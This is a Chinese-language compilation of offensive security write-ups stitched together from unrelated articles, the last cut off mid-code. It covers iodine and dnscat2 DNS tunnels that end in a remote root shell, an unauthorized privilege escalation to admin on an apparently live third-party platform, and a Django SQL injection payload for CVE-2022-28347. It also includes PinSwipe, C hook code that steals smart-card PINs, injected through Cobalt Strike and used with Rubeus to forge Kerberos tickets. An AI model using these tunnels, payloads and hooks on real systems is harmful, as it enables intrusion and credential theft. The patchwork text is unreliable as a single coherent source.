DNS隧道流量分析
1.域名准备 选择哪家的云都没问题,国内云需要实名,不建议使用,这里我选择的TX云,因为之前注册过了,自己拿来做个流量分析不成问题 域名添加解析记录 需要准备自己的vps作为DNS隧道的服务端,且需要添加ns记录 2.iodined搭建 关闭53端口关闭开机自启 systemctl stop systemd-resolved systemctl disable systemd-resolved 之后53端口已关闭 启动服务端 iodined -f -c -P 1qaz@WSX 192.168.100.1 ns.xxx.xyz -DD 参数说明 -f:在前台运行 -c:禁止检查所有传入请求的客户端IP地址。 -P:客户端和服务端之间用于验证身份的密码。 -D:指定调试级别,-DD指第二级。“D”的数量随级别增加。 客户端 iodine -f -P 1qaz@WSX ns.aligoogle.xyz -M 200 客户端连接正常,且服务端显示客户端连接成功 查看客户端网卡,因为配置的时候一直不太稳定,所以这里服务端分配的虚拟网卡我更换为了192.168.121.1 测试隧道是否通信 延时比较高,也不稳定。 通过隧道连接目标主机 ssh -p 2222 root@192.168.121.2 这里我换ssh的端口了 但是发现安全设备在连接高危端口的时候无告警 3.流量分析 抓取dns0网卡的流量 tcpdump -i dns0 port 53 -w file.pcap 参数-i 指定网卡, port 指定端口,DNS使用53端口,-w 写入文件。 查看日志发现所有的流量都是DNS日志,但是目的都为自己的VPS 其实能够根据流量特征识别工具类型。 4.试错 本来我是想使用穿透工具通过隧道穿透的,这里使用nps做隧道走socks,想走虚拟网卡需要修改nps配置文件 ./npc -server=192.168.120.1:63323 -vkey=n4jg3lrvg19qlqth -type=tcp 查看nps上线后,需要做端口转发,不做端口转发无法直接使用虚拟地址的隧道,这里其实没有这么走的意义 但是这里发现行不通,参考了一些文章,发现某位师傅写的有点儿问题,这里大可不必,没有所谓的套层+转口转发,单一走隧道都不稳定以及卡的要死,怎么玩儿套娃。 5. dnscat2搭建 安装准备 git clone https://github.com/iagox86/dnscat2.git cd dnscat2/server/ curl -sSL https://get.rvm.io | bash source /etc/profile.d/rvm.sh rvm install 2.6.0 source /etc/profile.d/rvm.sh rvm use 2.6.0 gem install bundler bundle install ruby ./dnscat2.rb 需要注意这里开放vps的53的udp端口 firewall-cmd --zone=public --add-port=53/udp --permanent firewall-cmd --reload 国内服务器TX云的话需要更换源,下载文件需要科学上网,境内下载tools找不到服务 客户端 git clone https://github.com/iagox86/dnscat2.git cd dnscat2/client/ make ./dnscat --dns server=IP,port=53 --secret=f361f307f523b07352d0bab1b765a888   //直连模式 ./dnscat --dns server=ling.domain --secret=1qaz2wsx             //中继模式 直连模式 Server: Client: 中继模式 ruby ./dnscat2.rb ns.domain -e open -c 1qaz2wsx --no-cache 客户端 ./dnscat --dns domain=ling.domain --secret=1qaz2wsx   ./dnscat --dns server=www.domain --secret=1qaz2wsx   服务端命令 sessions 列出所有session session -i 2 进入session 2 shell:创建交互式shell suspend:返回上一层 exit:退出 clear(清屏) delay(修改远程会话超时时间) exec(执行远程机上的程序) shell(得到一个反弹shell,此处必须在1::command(kali)中使用) download/upload(两端之间上传下载文件) listen <本地端口> <控制端IP/127.0.0.1>:<端口>(端口转发,此处)(此处必须在1::command(kali)中使用)dnscat2> session -i 1 New window created: 1 history_size (session) => 1000 Session 1 Security: ENCRYPTED AND VERIFIED! (the security depends on the strength of your pre-shared secret!) This is a command session! That means you can enter a dnscat2 command such as 'ping'! For a full list of clients, try 'help'. command (ubuntu) 1> whoami Error: Unknown command: whoami command (ubuntu) 1> shell Sent request to execute a shell command (ubuntu) 1> New window created: 2 Shell session created! whoami Error: Unknown command: whoami command (ubuntu) 1> session -i 2 New window created: 2 history_size (session) => 1000 Session 2 Security: ENCRYPTED AND VERIFIED! (the security depends on the strength of your pre-shared secret!) This is a console session! That means that anything you type will be sent as-is to the client, and anything they type will be displayed as-is on the screen! If the client is executing a command and you don't see a prompt, try typing 'pwd' or something! To go back, type ctrl-z. sh (ubuntu) 2> whoami sh (ubuntu) 2> root tcpdump -i dns0 port 53 -w file.pcap 流量包内的数据内容 请求包和回包区别不大,在返回包多了域名的信息的TXT记录加密传输信息,可以看到DNS的查询请求的域名信息前的一串数据,里面就是加密过后的交互数据。 6 其它工具 跟工具关系不大,隧道的话DNS只要ip和域名没标签,其实走的都是udp的协议,所以在安全设备上都是流量数据,其类似的工具有dns2tcp等,但是总体来讲该隧道比较慢不稳定,比较慢且传输不支持大流量传输。
记一次X站逻辑漏洞到管理员后台
前言: 闲来无事,在群里发现有人推这玩意,一看居然是个cps平台 这就有意思了 我们先去找大哥开一个代理账号 拿到账号之后,登录看看 js也看了下没啥东西,套了cdn,也没上传点 可以添加下级渠道,尝试添加 添加抓包看看 是能添加,添加的时候会返回用户详细参数对吧 点击修改抓包看看,没返回数据 在修改看看 这里127.0.0.1是我没登录这个账号,所以没获取我的ip 然后可以看到pk这个参数是不是对应的返回参数的id 我们尝试修改id越权别的用户id(赌的就是他没做检测,赌的就是他id是遍历的) 首先我们把不用的参数删掉,看看能不能返回,不然修改了别人就容易被发现 正常返回,然后我们在随机改一个 可以没毛病,那么我们改成id是1的,id为1基本上都是管理员 获取了管理员账号开始爆破试下(失败告终) 然后我发现,发过去的参数能和返回的参数对得上 我就想看能不能改 这里我们的role_id是4对吧 我们改成1发包看下 还真可以,roleid就是用户权限组 我们直接登录我们添加的那个账号看看 Ok,成功上去了,由于上传都是强制转换成png格式,我就懒得研究了 总结: 有些开发会偷懒,把后台添加用户(包含管理员)用一个接口,但后台功能肯定是全面的,但还是同一个接口,为了偷懒把前台用户也用这个接口,只是明面上把东西进行阉割处理,但只要进行正确的传参还是可以的,当然这个有运气成分,侥幸而已。
Django SQL注入漏洞复现 (CVE-2022-28347)
漏洞简介 在Django 2.2 的 2.2.28 之前版本、3.2 的 3.2.13 之前版本和 4.0 的 4.0.4 之前版本中的 QuerySet.deexplain() 中发现了SQL注入问题。这是通过传递一个精心编制的字典(带有字典扩展)作为**options参数来实现的,并将注入负载放置在选项名称中。 影响版本 2.2 =< Django < 2.2.28 3.2 =< Django < 3.2.13 4.0 =< Django < 4.0.4 环境搭建 创建存在 漏洞 Django 版本 3.2.12 项目 创建 startapp Demo 并依次修改文件 安装 postgresql 数据库 settings.py 设置连接数据库为 postgresql 数据库 DATABASES = {    'default': {        'ENGINE': 'django.db.backends.postgresql',        'NAME': 'test',        'USER': 'postgres',        'PASSWORD': '123456',        'HOST': '127.0.0.1',        'PORT': '5432',   } } urls.py 设定对应路由 from django.contrib import admin from django.urls import path from Demo import views urlpatterns = [    path('admin/', admin.site.urls),    path('index/', views.index),    path('demo/', views.users),    path('initialize/', views.loadexampledata), ] models.py from django.db import models # Create your models here. class User(models.Model):    name = models.CharField(max_length=200)    def __str__(self):        return self.name views.py import json from django.http import HttpResponse from django.shortcuts import render # Create your views here. from .models import User def index(request):    return HttpResponse('hello world') def users(request):    query = request.GET.get('q')    query = json.loads(query)    qs = User.objects.get_queryset().explain(**query)    return HttpResponse(qs) def loadexampledata(request):    u = User(name="Admin")    u.save()    u = User(name="Staff1")    u.save()    u = User(name="Staff12")    u.save()    return HttpResponse("ok") ‍ 漏洞复现 http://127.0.0.1:8000/demo/?q={"ANALYZE)+select+pg_sleep(5);--+":"aaa"} 发现成功构造使得服务器沉睡 漏洞分析 在进行代码分析之前,我们先了解一个知识点 EXPLAIN EXPLAIN EXPLAIN -- 显示一个语句的执行计划 EXPLAIN [ ( option [, ...] ) ] statement EXPLAIN [ ANALYZE ] [ VERBOSE ] statement option:    ANALYZE [ boolean ]   执行命令并显示实际运行时间    VERBOSE [ boolean ]   显示规划树完整的内部表现形式,而不仅是一个摘要    COSTS [ boolean ]    BUFFERS [ boolean ]    TIMING [ boolean ]    FORMAT { TEXT | XML | JSON | YAML } statement:    查询执行计划的 SQL 语句,可以是任何 select、insert、update、delete、values、execute、declare 语句 EXPLAIN ANALYZE不仅会显示查询计划,还会实际运行语句。EXPLAIN ANALYZE会丢掉任何来自SELECT语句的输出,但是该语句中的其他操作会被执行(例如INSERT、UPDATE或者DELETE)。 调试分析 django.db.models.query.QuerySet.explain django.db.models.sql.query.Query.explain django.db.models.sql.compiler.SQLCompiler.explain_query django.db.models.sql.compiler.SQLCompiler.execute_sql django.db.models.sql.compiler.SQLCompiler.as_sql 在这里会根据所选择的数据库,来调用其相对应的 explain_query_prefix 方法 django.db.backends.postgresql.operations.DatabaseOperations.explain_query_prefix postgresql 中 重写了 explain_query_prefix 方法将键名拼接到了 SQL 语句中 最后执行的 SQL 语句是 'EXPLAIN (ANALYZE) SELECT PG_SLEEP(5);-- true) SELECT "Demo_user"."id", "Demo_user"."name" FROM "Demo_user"' ‍ 漏洞修复 https://github.com/django/django/commit/00b0fc50e1738c7174c495464a5ef069408a4402#diff-fbd8a517f5fa1333b9f7273bcd007551cd2fb4b8f6732cd6002ba42411802901做了一个过滤,发现危险字符就抛出异常 只有字符串在白名单内才会拼接到语句中
针对基于智能卡进行认证的活动目录攻击
最近,我参与了一项攻击基于智能卡的活动目录的工作。实际上,你根本不需要使用物理智能卡来验证登录这个活动目录。证书的属性决定了它是否可以用于基于智能卡进行登录。因此,如果你能获得相应的私钥,那么就可以绕过智能卡的验证实现登录。 当用户被设置为基于智能卡进行登录时,在它的默认配置中,域控制器将接受任何由它所信任的证书授权机构签署的、符合以下规范的证书:     ● CRL的分配点不可为空、并且可用     ● 证书的密钥要使用数字签名     ● 增强型的密钥使用:        - 智能卡登录        - 客户端认证(可选,用于基于SSL的认证)     ● 包含用户UPN的主题替代名称 此外,如果启用了允许使用无扩展密钥的证书属性组策略,那么就没必要使用增强型的密钥。因为这可能会导致发给域用户或计算机的其他类型的证书。 下面是我们的具体的研究过程。 PKINIT 正如我们所知的,域内的活动目录会使用Kerberos协议来验证域名。攻击者可以使用像Rubeus、Mimikatz、Kekeo和impacket这样的工具来针对域环境进行利用。 那么,基于 PKI 的认证与 Kerberos 的认证有什么关系呢?早在 2006 年,微软和航空航天公司联合提交了 RFC 4556。这协议引入了对 Kerberos 预认证的公钥密码学的支持。 预认证方法可以防止Kerberos对账户密码进行离线暴力攻击。如果没有在AD账户上启用预认证,那么用户就容易受到AS-REP的攻击。随着预认证的引入,那么最初的AS-REQ Kerberos请求就会包含一个加密的时间戳。并且这个用来加密的密钥来自于用户的密码。这向 KDC 证明了请求登录的用户确实知道账户密码。因此,KDC就会返回一个与用户密码相关的加密的AS-REP(对AS-REQ的响应)。预认证数据包含的一个时间戳也可以防止重放攻击。如果预认证数据无效,KDC会返回一个错误,而且也不允许对AS-REP响应密钥进行暴力破解。如果一个攻击者能够在一个网络中抓取 Kerberos的响应数据包,那 基于 PKI 的认证同样也是以类似的方式进行工作。它首先会使用 Kerberos 预认证来证明用户是他们所说的那个人。同样,它也会使用一个时间戳,但不是使用用户的密码生成的密钥对信息进行加密,而是用属于证书的私钥以PKCS #7加密信息语法(CMS)的形式来签署信息。该私钥可以存储于物理智能卡上,并且也可以以其他的形式进行存储,这其中也包括不那么安全的方法。一旦KDC验证了CMS有效载荷的签名,并且一切正常,那么AS-REP就会返回给客户。PKINIT也会对AS-REP响应进行加密。因为在基于PKI的Kerberos登录过程中并没有使用密码,所以用户密钥对客户来说是未知的。为了解决这个问题,A 从这里开始,其他的一切还都保持不变。客户端将会获得一个有效的TGT,可用于申请TGS票据。并且该证书在TGT的有效期内就不再使用,在再次需要该证书的私钥之前,一般会保持7天的有效期。当然,这并不是说在Windows登录期间,私钥在7天内不会被使用。如果机器被锁定或用户已经被注销,那么Windows会像基于密码的登录那样强制进行认证。但从攻击者的角度来看,如果他们已经获得了TGT,这其实就已经不重要了。 所以这里我开始尝试在Rubeus中添加对PKINIT的支持,并创建了一个请求。 基于PKCS#12的认证(PFX) 这里我们讨论的第一个攻击场景是用户私钥泄露问题。我们可以使用一个PKCS#12证书库,我们可以使用一个用户的证书以及相应的私钥来生成一个Kerberos TGT。一旦你有了私钥blob和相应的证书,那么你就可以使用OpenSSL来生成PKCS12存储,如下所示: openssl pkcs12 -export -out leaked.pfx -inkey privateKey.key -in certificate.crt 一旦你生成了一个有效的证书存储,那么我们就可以使用Rubeus中新增加的内容来请求TGT了。如果你决定用密码来保护证书库,那么你可以在命令行中加入/password选项。 Rubeus.exe asktgt /user:Administrator /certificate:leaked.pfx /domain:hacklab.local /dc:dc.hacklab.local 然后,Rubeus将生成一个基于PKINIT的AS-REQ,使用我们所提供的证书库来验证用户。如果一切顺利,KDC就会返回数据包,那么你就应该会得到类似的输出: ______       _ (_____ \     | |   _____) )_   _| |__ _____ _   _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_|   |_|____/|____/|_____)____/(___/ v1.5.0 [*] Action: Ask TGT [*] Using PKINIT with etype rc4_hmac and subject: CN=Administrator, CN=Users, DC=hacklab, DC=local [*] Building AS-REQ (w/ PKINIT preauth) for: 'hacklab.local\Administrator' [+] TGT request successful! [*] base64(ticket.kirbi):     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 ServiceName           : krbtgt/hacklab.local ServiceRealm         : HACKLAB.LOCAL UserName             : Administrator UserRealm             : HACKLAB.LOCAL StartTime             :  02/04/2023 16:01:12 EndTime               :  03/04/2023 02:01:12 RenewTill             :  09/04/2023 16:01:12 Flags                 : name_canonicalize, pre_authent, initial, renewable, forwardable KeyType               : rc4_hmac Base64(key)           :  6tIiFytU5V2cgSpXt8skdw== 那么由此产生的 .kirbi Base64 编码字符串也可用于从 KDC中获得正常的 TGS。 在我成功地在这个工具中使用了PKINIT之后,我开始思考我们该如何使用物理智能卡做认证。一旦用户的机器受到攻击破坏,那么使用智能卡进行认证最大的问题就是密码。如果不知道PIN码,那么我们就无法生成一个有效的AS-REQ。蛮力破解是不可行的,因为进行3次无效的尝试,那么系统就会先进行账号锁定。 其中的一个思路就是,当用户需要解锁智能卡时可以尝试捕获PIN码。这主要用于机器解锁或者登录网络上其他需要智能卡认证的服务。 经过一番调查,我发现了WinSCard DLL。这个DLL是与Smard Card服务通信的网关。然后这个服务就会控制智能卡的通信。一般来说,任何与Windows上的智能卡进行通信的东西都需要使用WinSCard API。 我所研究的WinSCard.dll中最重要的函数是SCardTransmit API。这个API是用于传输智能卡ISO/IEC 7816规范中所要求的应用协议数据单元(APDU)的API。这个是最底层的传输单元,主要是用于智能卡通信。 如果我们hook这个API,那么我们应该就能够监视传送到卡上的PDU。 LONG SCardTransmit(  SCARDHANDLE         hCard,  LPCSCARD_IO_REQUEST pioSendPci,  LPCBYTE             pbSendBuffer,  DWORD               cbSendLength,  LPSCARD_IO_REQUEST  pioRecvPci,  LPBYTE              pbRecvBuffer,  LPDWORD             pcbRecvLength ); pbSendBuffer参数是向卡片发送的APDU数据包,而pbRecvBuffer则是智能卡返回的响应数据。 虽然ISO智能卡规范对某些命令类别和命令数据结构做出了限制,但这些限制通常是针对某些具体应用的,而不是由ISO智能卡规范本身定义的。并且为了满足身份访问的需求,NIST制定了个人身份验证(PIV)SP 800-73-4规范。该规范涵盖了智能卡应如何处理注册到设备上的证书,以及实现该规范的所有APU,这个不需要太多的细节。在PIV规范中最重要的是第3.2.1节VERIFY卡命令。这些内容阐述了VERIFY APDU是如何在允许访问存储在卡片上的私钥之前进行PIN的验证。 因此,有了ISO规范中的信息以及PIV规范中的3.2.1节,我们应该能够写一个hook程序来捕获传送到卡上的PIN。 DWORD WINAPI SCardTransmit_Hooked(SCARDHANDLE hCard,    LPCSCARD_IO_REQUEST pioSendPci,    LPCBYTE             pbSendBuffer,    DWORD               cbSendLength,    LPSCARD_IO_REQUEST  pioRecvPci,    LPBYTE              pbRecvBuffer,    LPDWORD             pcbRecvLength) {        char debugString[1024] = { 0 };    DWORD result = pOriginalpSCardTransmit(hCard, pioRecvPci, pbSendBuffer, cbSendLength, pioRecvPci, pbRecvBuffer, pcbRecvLength);    //Check for CLA 0, INS 0x20 (VERIFY) and P1 of 00/FF according to NIST.SP.800-73-4 (PIV) specification    if (cbSendLength >= 13 && pbSendBuffer[0] == 0 && pbSendBuffer[1] == 0x20 && (pbSendBuffer[2] == 0 || pbSendBuffer[2] == 0xff)) {        //Check card response status for success        bool success = false;        if (pbRecvBuffer[0] == 0x90 && pbRecvBuffer[1] == 0x00) {            success = true;       }        char asciiPin[9];        sprintf_s(debugString, sizeof(debugString), "Swipped VERIFY PIN: Type %s, Valid: %s, Pin: %s", GetPinType(pbSendBuffer[3]), success ? "true" : "false",            GetPinAsASCII(pbSendBuffer+5, min(pbSendBuffer[4],8), asciiPin));        SendPINOverPipe(debugString);             }    return result; } API调用做的第一件事就是调用原始的SCardTransmit函数。我们不仅需要研究数据请求,而且还要知道卡的响应数据。这样我们就可以确定传送给卡片的PIN码是否正确。然后,该函数会查找VERIFY PDU来隔离验证PIN的命令。一旦我们确定了VERIFY PDU,那么我们就可以开始检查结果,0x90 0x00都表示PIN被审核。接下来,我们可以从发送缓冲区的偏移量5(PDU结构中的命令数据)的位置处提取PIN码。最后,我们需要通过一个命名管道来传输PIN码的详细信息,然后使用数据接收程序进行捕获。 我们可以将这一功能打包到一个DLL中,该DLL也能够进行反射性加载,那么我们可以将该DLL注入到我们所研究的进程中去。 Demo 假设在存在该漏洞的情况下,并且我已经有了一个Cobalt Strike信标连接到了受害者的工作站上。我所使用的是管理员账户,但其实普通用户的账户也可以进行使用。PinSwipe DLL也可以被注入到一个高权限的进程中,如lsass,当获得管理权限时,可以在登录时刷出PIN码,但使用普通用户身份进行访问时,你将会被限制在用户模式进程中,如Internet Explorer等等。 所以首先我们需要启动PinSwipeListener,这将可以dump出智能卡登录EKU的用户证书信息。 beacon> execute-assembly C:\tools\PinSwipeListener.exe [*] Tasked beacon to run .NET program: PinSwipeListener.exe [+] host called home, sent: 112171 bytes [+] received output: [+] Found smart card logon certificate with thumbprint 55C65AB0B9B6A893A6E8449FB34DD61093B231D8 and subject CN=Administrator, CN=Users, DC=hacklab, DC=loca 有了监听器,我们就需要选择将PinSwipe.dll注入到哪些进程中。像Internet Explorer、Chrome等都是很好的选择,因为在智能卡认证的环境中,这些程序会经常弹出请求PIN的信息。在这里,我运行的是Internet Explorer,它的PID是 2678。实际上,IE和Chrome一样,为浏览器的各种标签都启动了不同的子进程。所以你需要注入一个正确的进程。同时也可以使用其他更高级的攻击脚本,不断寻找新的IE进程并注入它们。 beacon> dllinject 2678 C:\tools\PinSwipe.dll [*] Tasked beacon to inject C:\tools\PinSwipe.dll into 2678 一旦用户在对话框中输入了他们的PIN码,PinSwipe就会捕获请求并通过命名管道将其发送给PinSwipeListener。 [+] received output: [+] PinSwipe: Swipped VERIFY PIN: Type PIV Card Application, Valid: true, Pin: 123456 PinSwipe的输出除了显示输入的PIN号码外,还将显示输入的PIN是否正确。一旦你获取了PIN码,你就可以使用新的Rubeus功能来请求使用用户的物理智能卡进行TGT验证。这一次,我们可以使用/certificate参数来指定所要使用的证书的文件名。 beacon> execute-assembly C:\tools\Rubeus.exe asktgt /user:Administrator /domain:hacklab.local /dc:192.168.74.2 /certificate:55C65AB0B9B6A893A6E8449FB34DD61093B231D8 /password:123456 [*] Tasked beacon to run .NET program: Rubeus.exe asktgt /user:Administrator /domain:hacklab.local /dc:192.168.74.2 /certificate:55C65AB0B9B6A893A6E8449FB34DD61093B231D8 /password:123456 [+] host called home, sent: 357691 bytes [+] received output:   ______       _                       (_____ \     | |                       _____) )_   _| |__ _____ _   _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_|   |_|____/|____/|_____)____/(___/ v1.5.0 [*] Action: Ask TGT [+] received output: [*] Using PKINIT with etype rc4_hmac and subject: CN=Administrator, CN=Users, DC=hacklab, DC=local [*] Building AS-REQ (w/ PKINIT preauth) for: 'hacklab.local\Administrator' [+] received output: [+] TGT request successful! [+] received output: [*] base64(ticket.kirbi):     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 ServiceName           : krbtgt/hacklab.local ServiceRealm         : HACKLAB.LOCAL UserName             : Administrator UserRealm             : HACKLAB.LOCAL StartTime             : 04/04/2023 19:55:29 EndTime               : 05/04/2023 05:55:29 RenewTill             : 11/04/2023 19:55:29 Flags                 : name_canonicalize, pre_authent, initial, renewable, forwardable KeyType               : rc4_hmac Base64(key)           : 5K2V8xIaGbUS8ZYqTl120Q== 那么到此结束。你现在已经有了一个TGT,并且可以在7天内申请新的TGS票,然后访问其他的网络资源。 当你在网络中使用物理智能卡时,最好的办法是拥有需要手动按键的卡,或者最好是生物识别阅读器。这样一来,对用户账户进行的任何攻击都不会产生TGT数据,因为智能卡会在没有物理按键或生物识别数据存在的情况下阻止对私钥的访问。
Django SQL注入漏洞分析(CVE-2022-28346)
漏洞简介 Django 在2022年发布的安全更新,修复了在 QuerySet 的 annotate(), aggregate(), extra() 等函数中存在的 SQL 注入漏洞。 影响版本 2.2<= Django Django <2.2.28 3.2<= Django Django <3.2.13 4.0<= Django Django <4.0.4 需要使用了 annotate 或者 aggregate 或 extra 方法 环境搭建 搭建特定版本的 django 项目 利用 pycharm 创建一个 python 项目 创建完成项目后在 Settings 中找到 Project: CVE202228346 对应的 Python Interpreter 添加存在问题的 Django 版本 在 Terminal 中执行命令,创建 django 项目 django-admin startproject CVE202228346 配置启动设置 运行后就启动了最简单的 django 项目 ‍ 编写配置漏洞代码 折腾来折腾去,出现了很多问题,一度想要放弃说直接采用 docker ,但是在不断的试错下,最终还是编写成功 因为对 python 的 django 不太熟悉,所以其中可能更多的是比较偏向于基础的操作 ‍ 进入到项目目录下创建命令 创建第一个应用 在 settings.py 中添加配置 在 urls.py 中添加 对应的 url,urls.py 相当于路由解析器,将路由解析到对应的 views.py 中对应的函数上 urlpatterns = [    path('admin/', admin.site.urls),    path('index/',views.index),    path('demo/',views.users),    path('initialize/',views.loadexampledata) ] ‍ models.py 是创建表结构的时候使用,通过类的定义,可以创建一个表 from django.db import models # Create your models here. class User(models.Model):    name = models.CharField(max_length=200)    def __str__(self):        return self.name ‍ views.py 主要定义了对应路由所响应的函数 from django.db.models import Count from django.http import HttpResponse from django.shortcuts import render from .models import User # Create your views here. def index(request):    return 